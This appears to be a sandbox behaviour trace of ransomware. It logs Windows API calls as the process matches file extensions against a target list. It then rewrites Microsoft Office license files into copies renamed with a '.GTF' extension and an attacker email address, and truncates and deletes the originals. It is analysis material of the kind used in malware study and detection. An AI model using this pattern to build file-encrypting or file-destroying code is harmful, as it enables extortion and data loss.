	[0169.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0169.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0169.150] lstrlenW (lpString=".doc") returned 4
	[0169.150] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.150] lstrlenW (lpString=".docx") returned 5
	[0169.151] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.151] lstrlenW (lpString=".pdf") returned 4
	[0169.151] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.151] lstrlenW (lpString=".xls") returned 4
	[0169.151] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0169.151] lstrlenW (lpString=".xlsx") returned 5
	[0169.151] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.151] lstrlenW (lpString=".ppt") returned 4
	[0169.151] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0169.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0169.152] lstrlenW (lpString=".zip") returned 4
	[0169.152] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.152] lstrlenW (lpString=".rar") returned 4
	[0169.153] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.153] lstrlenW (lpString=".bz2") returned 4
	[0169.153] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.153] lstrlenW (lpString=".7z") returned 3
	[0169.153] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0169.153] lstrlenW (lpString=".dbf") returned 4
	[0169.153] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0169.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0169.153] lstrlenW (lpString=".1cd") returned 4
	[0169.153] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0169.153] lstrlenW (lpString=".jpg") returned 4
	[0169.153] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0169.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0169.153] lstrlenW (lpString=".doc") returned 4
	[0169.153] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.153] lstrlenW (lpString=".docx") returned 5
	[0169.153] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.153] lstrlenW (lpString=".pdf") returned 4
	[0169.153] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.153] lstrlenW (lpString=".xls") returned 4
	[0169.153] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0169.153] lstrlenW (lpString=".xlsx") returned 5
	[0169.153] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.153] lstrlenW (lpString=".ppt") returned 4
	[0169.153] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0169.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0169.153] lstrlenW (lpString=".zip") returned 4
	[0169.153] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.153] lstrlenW (lpString=".rar") returned 4
	[0169.153] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.154] lstrlenW (lpString=".bz2") returned 4
	[0169.154] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.154] lstrlenW (lpString=".7z") returned 3
	[0169.154] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0169.154] lstrlenW (lpString=".dbf") returned 4
	[0169.154] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0169.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0169.154] lstrlenW (lpString=".1cd") returned 4
	[0169.154] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0169.154] lstrlenW (lpString=".jpg") returned 4
	[0169.154] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.154] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0169.154] lstrlenW (lpString="client-issuance-ul-oob.xrm-ms") returned 29
	[0169.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0169.155] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=4392) returned 1
	[0169.155] CloseHandle (hObject=0x55c) returned 1
	[0169.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms")) returned 0x220
	[0169.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0169.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0169.155] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.155] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0169.156] GetLastError () returned 0x0
	[0169.156] ReadFile (in: hFile=0x55c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x1128, lpOverlapped=0x0) returned 1
	[0169.158] WriteFile (in: hFile=0x504, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1130, lpOverlapped=0x0) returned 1
	[0169.159] ReadFile (in: hFile=0x55c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.159] WriteFile (in: hFile=0x504, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x10e, lpOverlapped=0x0) returned 1
	[0169.159] SetEndOfFile (hFile=0x504) returned 1
	[0169.159] CloseHandle (hObject=0x504) returned 1
	[0169.159] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.159] SetEndOfFile (hFile=0x55c) returned 1
	[0169.162] CloseHandle (hObject=0x55c) returned 1
	[0169.162] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0169.162] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms")) returned 1
	[0169.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0169.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0169.163] lstrlenW (lpString=".doc") returned 4
	[0169.163] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.163] lstrlenW (lpString=".docx") returned 5
	[0169.163] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.163] lstrlenW (lpString=".pdf") returned 4
	[0169.163] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.163] lstrlenW (lpString=".xls") returned 4
	[0169.163] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0169.163] lstrlenW (lpString=".xlsx") returned 5
	[0169.163] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.163] lstrlenW (lpString=".ppt") returned 4
	[0169.163] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0169.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0169.163] lstrlenW (lpString=".zip") returned 4
	[0169.163] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.163] lstrlenW (lpString=".rar") returned 4
	[0169.163] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.163] lstrlenW (lpString=".bz2") returned 4
	[0169.163] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.163] lstrlenW (lpString=".7z") returned 3
	[0169.163] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0169.163] lstrlenW (lpString=".dbf") returned 4
	[0169.163] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0169.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0169.163] lstrlenW (lpString=".1cd") returned 4
	[0169.163] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0169.163] lstrlenW (lpString=".jpg") returned 4
	[0169.163] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0169.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0169.164] lstrlenW (lpString=".doc") returned 4
	[0169.164] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.164] lstrlenW (lpString=".docx") returned 5
	[0169.164] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.164] lstrlenW (lpString=".pdf") returned 4
	[0169.164] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.164] lstrlenW (lpString=".xls") returned 4
	[0169.164] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0169.164] lstrlenW (lpString=".xlsx") returned 5
	[0169.164] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.164] lstrlenW (lpString=".ppt") returned 4
	[0169.164] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0169.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0169.164] lstrlenW (lpString=".zip") returned 4
	[0169.164] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.164] lstrlenW (lpString=".rar") returned 4
	[0169.164] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.164] lstrlenW (lpString=".bz2") returned 4
	[0169.164] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.164] lstrlenW (lpString=".7z") returned 3
	[0169.164] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0169.164] lstrlenW (lpString=".dbf") returned 4
	[0169.164] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0169.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0169.164] lstrlenW (lpString=".1cd") returned 4
	[0169.164] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0169.164] lstrlenW (lpString=".jpg") returned 4
	[0169.164] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.164] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0169.165] lstrlenW (lpString="client-issuance-ul.xrm-ms") returned 25
	[0169.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0169.166] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=4208) returned 1
	[0169.166] CloseHandle (hObject=0x55c) returned 1
	[0169.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms")) returned 0x220
	[0169.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0169.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0169.166] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.166] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0169.575] GetLastError () returned 0x0
	[0169.575] ReadFile (in: hFile=0x55c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x1070, lpOverlapped=0x0) returned 1
	[0169.576] WriteFile (in: hFile=0x528, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1080, lpOverlapped=0x0) returned 1
	[0169.577] ReadFile (in: hFile=0x55c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.578] WriteFile (in: hFile=0x528, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x106, lpOverlapped=0x0) returned 1
	[0169.578] SetEndOfFile (hFile=0x528) returned 1
	[0169.578] CloseHandle (hObject=0x528) returned 1
	[0169.578] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.578] SetEndOfFile (hFile=0x55c) returned 1
	[0169.581] CloseHandle (hObject=0x55c) returned 1
	[0169.581] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0169.582] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms")) returned 1
	[0169.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0169.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0169.583] lstrlenW (lpString=".doc") returned 4
	[0169.583] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.583] lstrlenW (lpString=".docx") returned 5
	[0169.583] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.583] lstrlenW (lpString=".pdf") returned 4
	[0169.583] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.583] lstrlenW (lpString=".xls") returned 4
	[0169.583] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0169.583] lstrlenW (lpString=".xlsx") returned 5
	[0169.583] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.583] lstrlenW (lpString=".ppt") returned 4
	[0169.583] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0169.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0169.583] lstrlenW (lpString=".zip") returned 4
	[0169.583] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.583] lstrlenW (lpString=".rar") returned 4
	[0169.583] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.583] lstrlenW (lpString=".bz2") returned 4
	[0169.583] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.583] lstrlenW (lpString=".7z") returned 3
	[0169.583] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0169.583] lstrlenW (lpString=".dbf") returned 4
	[0169.583] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0169.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0169.583] lstrlenW (lpString=".1cd") returned 4
	[0169.583] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0169.583] lstrlenW (lpString=".jpg") returned 4
	[0169.583] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0169.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0169.584] lstrlenW (lpString=".doc") returned 4
	[0169.584] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.584] lstrlenW (lpString=".docx") returned 5
	[0169.584] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.584] lstrlenW (lpString=".pdf") returned 4
	[0169.584] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.584] lstrlenW (lpString=".xls") returned 4
	[0169.584] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0169.584] lstrlenW (lpString=".xlsx") returned 5
	[0169.584] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.584] lstrlenW (lpString=".ppt") returned 4
	[0169.584] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0169.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0169.584] lstrlenW (lpString=".zip") returned 4
	[0169.584] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.584] lstrlenW (lpString=".rar") returned 4
	[0169.584] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.584] lstrlenW (lpString=".bz2") returned 4
	[0169.584] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.584] lstrlenW (lpString=".7z") returned 3
	[0169.584] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0169.584] lstrlenW (lpString=".dbf") returned 4
	[0169.584] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0169.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0169.584] lstrlenW (lpString=".1cd") returned 4
	[0169.584] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned 75
	[0169.584] lstrlenW (lpString=".jpg") returned 4
	[0169.584] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.585] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0169.585] lstrlenW (lpString="ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 29
	[0169.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0169.585] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11582) returned 1
	[0169.585] CloseHandle (hObject=0x55c) returned 1
	[0169.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms")) returned 0x220
	[0169.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0169.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0169.586] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.586] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0169.587] GetLastError () returned 0x0
	[0169.587] ReadFile (in: hFile=0x55c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2d3e, lpOverlapped=0x0) returned 1
	[0169.626] WriteFile (in: hFile=0x528, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2d40, lpOverlapped=0x0) returned 1
	[0169.627] ReadFile (in: hFile=0x55c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.627] WriteFile (in: hFile=0x528, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x10e, lpOverlapped=0x0) returned 1
	[0169.627] SetEndOfFile (hFile=0x528) returned 1
	[0169.628] CloseHandle (hObject=0x528) returned 1
	[0169.628] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.628] SetEndOfFile (hFile=0x55c) returned 1
	[0170.104] CloseHandle (hObject=0x55c) returned 1
